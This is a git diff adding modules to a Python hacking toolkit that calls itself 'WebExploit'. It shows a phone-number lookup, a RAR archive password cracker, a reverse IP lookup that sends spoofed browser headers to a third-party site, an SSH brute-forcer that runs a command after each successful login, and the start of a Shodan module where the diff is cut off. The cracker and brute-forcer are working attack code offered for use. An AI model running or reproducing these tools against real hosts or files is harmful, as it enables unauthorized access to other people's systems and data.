{bold}{green}{bold}{regionCode}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}TimeZone{nbold}{f.WHITE} >>> {bold}{green}{bold}{timezoneM}{nbold}') + t.sleep(0.3) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}Operator{nbold}{f.WHITE} >>> {bold}{green}{bold}{provider}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}ValidNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{isValid}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}PossibleNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{isPossible}{nbold}') + t.sleep(0.3) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}internationalFormat{nbold}{f.WHITE} >>> {bold}{green}{bold}{formattedNum}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}MobileFormat{nbold}{f.WHITE} >>> {bold}{green}{bold}{formattedNumMobile}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}originalNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{numberType}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}numberFormat{nbold}{f.WHITE} >>> {bold}{green}{bold}{phoneDetector()}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}E.164-Format{nbold}{f.WHITE} >>> {bold}{green}{bold}{phonenumbers.format_number(Number, phonenumbers.PhoneNumberFormat.E164)}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}countryCode{nbold}{f.WHITE} >>> {bold}{green}{bold}{Number.country_code}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}nationalNumber{nbold}{f.WHITE} >>> {bold}{green}{bold}{Number.national_number}{nbold}') + t.sleep(0.5) + # location on google map incoming .... \ No newline at end of file diff --git a/cores/rarc.py b/cores/rarc.py new file mode 100644 index 0000000..83d0148 --- /dev/null +++ b/cores/rarc.py @@ -0,0 +1,161 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + 'pip install google-search' + try: + import time as t + from colorama import Fore as f + import sys, os + import rarfile + from random import choice + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ░▒█▀▀▄░░░█▀▀▄░░░▒█▀▀▄░░░░░░░░▒█▀▀▄ + ░▒█▄▄▀░░▒█▄▄█░░░▒█▄▄▀░░░▄▄░░░▒█░░░ + ░▒█░▒█░░▒█░▒█░░░▒█░▒█░░░▀▀░░░▒█▄▄▀ ''', ''' + __ _ __ _ + )_) )_) )_) / ` + / \ / / / \ o (_ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}RAR{f.GREEN}]{f.WHITE}{f.RED} R.A.R{f.WHITE}{bold} RAR {bold}C{nbold}racker T00L !\n\n\n') + t.sleep(3) + + + + + while True: + try: + rarc = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}R.A.R/{bold}FILE[rar]{nbold}{f.WHITE} enter {bold}\'RarFile{nbold}\' [ex: /Desktop/mji.rar]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if rarc: + break + else: + input('please enter a RAR file') + continue + + except Exception as err_rarc: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] {bold}ERROR -> {err_rarc}{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + while True: + passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}R.A.R/{bold}RAR-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/passlist_example.txt]:#{f.GREEN}{bold} ') + if passwords: + try: + passes = open(passwords, 'r').read().split() + # passes.close() + break + except Exception as file_err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}RARC/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n') + t.sleep(1) + continue + t.sleep(1) + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}Z.I.P/{bold}ZIP-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}rar-cracker . . . !{nbold}]') + t.sleep(3) + + try: + with rarfile.RarFile(rarc) as rf: + for pwd_ in passes: + try: + rf.extractall(pwd=pwd_.encode()) #strip() + print (f'\n {nbold}{f.WHITE}[{f.GREEN}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}RAR.C/{f.GREEN}Password-Found{white}] {nbold}{f.CYAN} \'{bold}{pwd_}{nbold}\' \n') + break + except: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}CRACKER{f.WHITE}{nbold}@{f.RED}RAR.C/{f.YELLOW}Password-NotFound{white}] {nbold}{f.RED} \'{bold}{pwd_}{nbold}\' \n') + continue + except: + pass + + + + # with rarfile.RarFile(rarc) as rf: + # for password in passes: + # try: + # rf.extractall(pwd=password.encode()) + # return password + # except: + # pass diff --git a/cores/ril.py b/cores/ril.py new file mode 100644 index 0000000..af96e5d --- /dev/null +++ b/cores/ril.py @@ -0,0 +1,235 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + method = "" + #import re + # reverse ip lookup ril + import time as t + from colorama import Fore as f + from random import choice + import sys, os + import requests as r + import json as j + from fake_useragent import UserAgent + agent = UserAgent() + from fake_headers import Headers + + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + bnr = [''' + + ▀███▀▀▀██▄ ▀████▀ ▀████▀ + ██ ▀██▄ ██ ██ + ██ ▄██ ██ ██ + ▓██████ ██ ██ + ▓█ ██▄ █▓ █▓ ▄ + ▓█ ▀▓█ █▓ █▓ ▒█ + ▓█ ▓ ▓▓ ▓▓ ▓▓ ▓ + ▓▓ ▀▓▓▓ ▒▓ ▓▒ ▓▓ + ▒ ▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ▒ ▒▒ ▓▒ ▒ ''', ''' + ██▀███ ██ ██▓ + ▓██ ▒ ██▒ ▒▓██ ▓██▒ + ▓██ ░▄█ ▒ ░▒██ ▒██░ + ▒██▀▀█▄ ░██ ▒██░ + ░██▓ ▒██▒ ░██ ░██████ + ░ ▒▓ ░▒▓░ ░▓ ░ ▒░▓ + ░▒ ░ ▒░ ▒ ░ ░ ▒ + ░ ░ ▒ ░ ░ + ░ ░ ░ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + + + + print (f'\n {bold}{f.GREEN}[{f.WHITE}RIL{f.GREEN}]{f.WHITE}{f.RED} R.I.L{f.WHITE}{nbold} {bold}R{nbold}everce {bold}I{nbold}p {bold}L{nbold}ookup tool !\n\n\n') + t.sleep(2) + print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}R.I.L/{f.CYAN}{bold}REVERCE IP LOOKUP]{white} advanced tool for find sites on a host {red}{bold} RIL {nbold}{white} tool !\n') + + while True: + try: + ur = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}R.I.L/{bold}URL{nbold}{f.WHITE} enter {bold}\'URL or IP{nbold}\' [ex: GOOGLE.com, 1.1.1.1]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if ur: + break + else: + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + + if 'http://' in ur: + try: + url = ur.replace('http://','') + except: + url = ur + if 'https://' in ur: + try: + url = ur.replace('https://','') + except: + url = ur + else: + url = ur + + print (f' {f.WHITE}[{f.GREEN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}RIL/{bold}URL{nbold}{f.WHITE}]{f.WHITE} >>> {bold}{url}{nbold}\n') + + t.sleep(3) + +# data = ('remoteAddress='+url+'&key=') + data = {'remoteAddress': url} + leng = data + + lenght = len(leng) + + hed = {'Host': 'domains.yougetsignal.com', +'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0', +'Accept': 'text/javascript, text/html, application/xml, text/xml, */*', +'Accept-Language': 'en-US,en;q=0.5', +'Accept-Encoding': 'gzip, deflate, br', +'X-Requested-With': 'XMLHttpRequest', +'X-Prototype-Version': '1.6.0', +'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8', +'Origin': 'https://www.yougetsignal.com', +'Connection': 'keep-alive', +'Content-Length': str(lenght), +'Referer': 'https://www.yougetsignal.com/', +'Sec-Fetch-Dest': 'empty', +'Sec-Fetch-Mode': 'cors', +'Sec-Fetch-Site': 'same-site' +} + #print (hed) + headers_random = Headers( + browser='firefox', # Generate Chrome , firefox UA + os='win', # Generate Windows, linux platform + headers=True # generate misc headers + ).generate() + + + try: + #r.get('https://domains.yougetsignal.com', headers=header) + result = r.post('https://domains.yougetsignal.com/domains.php', headers=hed, data=data) + + except Exception as error: + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}R.I.L/{f.GREEN}REQUEST {nbold}{f.CYAN} BECAUSE: \'{bold}{error}{nbold}\' TRY WITH VPN{nbold}!\n') + t.sleep(3) + sys.exit() + #print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}R.I.L/{f.CYAN}{bold}TRY] trying WITH RANDOM HEADER{green}{bold} REQUEST AGAIN . . .{nbold}{white} !\n') + + #result = r.post('https://domains.yougetsignal.com/domains.php', headers=headers_random, data=data) + #input('enter for show domains') + res = result.text + ril = j.loads(res) + + status = ril['status'] + method = ril["resultsMethod"] + LastScrape = ril["lastScrape"] + domains_count = ril["domainCount"] + remote_address = ril["remoteAddress"] + domains = ril["domainArray"] + try: + mesg = ril["message"] + print (f' {f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}R.I.L/{f.YELLOW}ERROR {nbold}{f.CYAN} BECAUSE: \'{bold}{mesg}{nbold}\' TRY WITH VPN {nbold}!\n') + sys.exit() + except: + pass + + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}STATUS{nbold}{f.WHITE} >>> {bold}{green}{bold}{status}{nbold}') + t.sleep(0.5) + #print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}METHOD{nbold}{f.WHITE} >>> {bold}{green}{bold}{method}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}LAST-SCRAPE{nbold}{f.WHITE} >>> {bold}{green}{bold}{LastScrape}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}DOMAINS-COUNT{nbold}{f.WHITE} >>> {bold}{green}{bold}{domains_count}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}REMOTE-ADDRESS{nbold}{f.WHITE} >>> {bold}{green}{bold}{remote_address}{nbold}') + t.sleep(0.5) + print (f' {f.WHITE}[{bold}{f.RED}WebExploit{nbold}{f.WHITE}] {white}{bold}ALL DOMAINS{bold}{f.WHITE} ::: {bold}{green}{bold}') + + t.sleep(2) + print(f"{italic}{yellow}-+-" * 10) + for d, u in domains: + print (f' {f.WHITE}{nbold}[{italic}{f.RED}WebExploit{nbold}{f.WHITE}@{red}R.I.L/{blue}domains{white}] {yellow} × {d} ×') + t.sleep(0.09) + print (f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}R.I.L/{f.CYAN}{bold}Domains{white}]{italic} The WebExploit Founded {red}{bold} {domains_count} {nbold}{white} on {bold}{url}\n\n') + + + + + diff --git a/cores/ssc.py b/cores/ssc.py new file mode 100644 index 0000000..8eea899 --- /dev/null +++ b/cores/ssc.py @@ -0,0 +1,218 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + 'pip install google-search' + try: + import time as t + from colorama import Fore as f + import sys, os + import requests as r + import paramiko + from random import choice + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ██████ ██████ ▄████▄ + ▒██ ▒ ▒██ ▒ ▒██▀ ▀█ + ░ ▓██▄ ░ ▓██▄ ▒▓█ ▄ + ▒ ██▒ ▒ ██▒ ▒▓▓▄ ▄██ + ▒██████▒▒ ▒██████▒▒ ▒ ▓███▀ + ▒ ▒▓▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░ ░▒ ▒ + ░ ░▒ ░ ░ ░▒ ░ ░ ▒ + ░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ ░ ''', ''' + ░▒█▀▀▀█░░░▒█▀▀▀█░░░▒█▀▀▄ + ░░▀▀▀▄▄░░░░▀▀▀▄▄░░░▒█░░░ + ░▒█▄▄▄█░░░▒█▄▄▄█░░░▒█▄▄▀ '''] + + def r_bnr(bnr): + return choice(bnr) + + print (f'{blink}{r_bnr(bnr)}{ended}', end='') + t.sleep(2) + print(f' {italic}From{ended} : ', end='') + #create flush text [simple] + print(f'{red}{bold}', end='', flush=True) + print(f'{bold}W', end='', flush=True) + t.sleep(0.5) + print('e', end='', flush=True) + t.sleep(0.7) + print('b', end='', flush=True) + t.sleep(0.4) + print('E', end='', flush=True) + t.sleep(0.1) + print('x', end='', flush=True) + t.sleep(0.2) + print('p', end='', flush=True) + t.sleep(0.3) + print('l', end='', flush=True) + t.sleep(0.4) + print('o', end='', flush=True) + t.sleep(0.5) + print('i', end='', flush=True) + t.sleep(1.5) + print(f't{ended}', flush=True) + nbold = "\033[0m" # tahe koskholi ! + t.sleep(1) + print(f'{white}{nbold}') + + print (f'\n {bold}{f.GREEN}[{f.WHITE}SSC{f.GREEN}]{f.WHITE}{f.RED} S.S.C{f.WHITE}{bold} SS{nbold}h {bold}C{nbold}racker T00L !\n\n\n') + t.sleep(3) + + + + + while True: + try: + host = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}IP{nbold}{f.WHITE} enter {bold}\'IP{nbold}\' [ex: 1.1.1.1]:#{f.GREEN}{bold} ') + print(f'{nbold}') + + if host: + break + else: + continue + + except KeyboardInterrupt: + print(f'\n\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}] TERMINATED BY {bold}USER{nbold} EXITTING . . .') + t.sleep(2) + # break + sys.exit(0) + # know = input(f' {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.WHITE} Are You Know {bold}USERNAME {nbold}? [y > yes | n > no]:#{f.GREEN}{bold} ') + + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.YELLOW} If You Know {bold}USERNAME {nbold}Give A File With 1 Username !{white}]') + t.sleep(3) + + while True: + usernames = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.WHITE} enter \'USERNAME LIST{nbold}\' [ex: ssh-users.txt]:#{f.GREEN}{bold} ') + if usernames: + try: + users = open(usernames, 'r').read().split() + # users.close() + break + except Exception as file_err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.C/{f.GREEN}Usernames{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n') + t.sleep(1) + continue + t.sleep(1) + + + while True: + passwords = input(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.WHITE} enter \'Password LIST{nbold}\' [ex: /home/WebExploit/Desktop/ssh-passwords.txt]:#{f.GREEN}{bold} ') + if passwords: + try: + passes = open(passwords, 'r').read().split() + # passes.close() + break + except Exception as file_err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.C/{f.GREEN}Passwords{white}] {nbold}{f.CYAN} ERROR : \'{bold}{file_err}{nbold}\' \n') + t.sleep(1) + continue + t.sleep(1) + + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER{nbold}{f.YELLOW} Loadind modules {bold}ssh-cracker . . . !{nbold}]') + t.sleep(3) + try: + client = paramiko.client.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + except Exception as err: + print (f'\n {nbold}{f.WHITE}[{f.RED}{bold}ERROR{f.WHITE}{nbold}@{f.RED}S.S.C/{f.GREEN}Modules-Loader{white}] {nbold}{f.CYAN} ERROR : \'{bold}{err}{nbold}\' \n') + sys.exit() + + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}ATTACK{bold} launching ATTACK in{white}]', end='', flush=True) + t.sleep(1) + print (' 5 ', end='', flush=True) + t.sleep(1) + print (' 4 ', end='', flush=True) + t.sleep(1) + print (' 3 ', end='', flush=True) + t.sleep(1) + print (' 2 ', end='', flush=True) + t.sleep(1) + print (' 1 ', end='', flush=True) + t.sleep(1) + print (' 0 ', end='', flush=True) + + + t.sleep(1) + + #print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}USERNAMES-COUNT {white}> > >{bold} {red}{len(str(users))} {white}]\n') + #t.sleep(1) + #print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}PASSWORDS-COUNT {white}> > >{bold} {red}{len(str(passes))} {white}]\n') + #t.sleep(1) + #k = len(int(passes)) + #o = len(int(users)) + #hits = (k+o) + #print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}HIT-COUNT {white}> > >{bold} {red} {hits} . . .{white}]\n') + t.sleep(3) + print(f'\n {f.WHITE}[{f.GREEN}{bold}INFO{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}SSH-CRACKER/{nbold}{f.YELLOW}ATTACK{green}{bold} LAUNCH{white}]\n') + + for username in users: + for password in passes: + try: + client.connect(host, username=username, password=password) + _stdin, _stdout,_stderr = client.exec_command("df") + print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{green}\'{username}{nbold}{white}\' Passowrd: {bold} \'{green}{password}{nbold}{white}\' {bold}{green} SUCESSFULL !') + t.sleep(1) + print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}{green}INFO{nbold}{f.WHITE} Commaned Exec: {bold}{green}\n{_stdout.read().decode()}') + client.close() + break + sys.exit(0) + except Exception as ssh_error: + print(f'\n {f.WHITE}[{f.CYAN}{bold}WebExploit{f.WHITE}{nbold}@{f.RED}S.S.C/{bold}{green}INFO{nbold}{f.WHITE} User: {bold}{red}\'{username}{nbold}{white}\' Passowrd: {bold} \'{red}{password}{nbold}{white}\' {bold}{red} Not SUCESSFULL ! {nbold}{yellow} Because: {bold}{ssh_error}') + continue + + + + + diff --git a/cores/sse.py b/cores/sse.py new file mode 100644 index 0000000..e8b4300 --- /dev/null +++ b/cores/sse.py @@ -0,0 +1,224 @@ +def run(): + ''' + MIT License + +Copyright (c) 2022 MJi | DarkƤwn [github.com/c4ssif3r] + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. +''' + 'pip install google-search' + try: + import time as t + from colorama import Fore as f + import sys, os + from random import choice + import shodan + except: + print("\033[0;31m please run command \033[0;32m pip install -r requirements.txt !") + t.sleep(1) + sys.exit() + + black = "\033[0;30m" + red = "\033[0;31m" + green = "\033[0;32m" + brown = "\033[0;33m" + blue = "\033[0;34m" + purple = "\033[0;35m" + cyan = "\033[0;36m" + l_gray = "\033[0;37m" + dark_gray = "\033[1;30m" + l_red = "\033[1;31m" + l_green = "\033[1;32m" + yellow = "\033[1;33m" + l_blue = "\033[1;34m" + l_purple = "\033[1;35m" + l_cyan = "\033[1;36m" + l_white = "\033[1;37m" + faint = "\033[2m" + italic = "\033[3m" + underline = "\033[4m" + blink = "\033[5m" + nefative = "\033[7m" + cross = "\033[9m" + ended = "\033[0m" + bold = "\033[1m" + nbold = "\033[0m" + white = f.WHITE + + bnr = [''' + ██████ ██████ ▓█████ + ▒██ ▒ ▒██ ▒ ▓█ ▀ + ░ ▓██▄ ░ ▓██▄ ▒███ + ▒ ██▒ ▒ ██▒ ▒▓█ ▄ + ▒██████▒▒ ▒██████▒▒ ░▒████ + ▒ ▒▓▒ ▒ ░ ▒ ▒▓▒ ▒ ░ ░░ ▒░ + ░ ░▒ ░ ░ ░▒ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ + ░ ░ ░ ''', ''' + ░▒█▀▀▀█░░░▒█▀▀▀█░░░▒█▀▀▀ + ░░▀▀▀▄▄░░░░▀▀▀▄▄░░░▒█▀▀▀ + 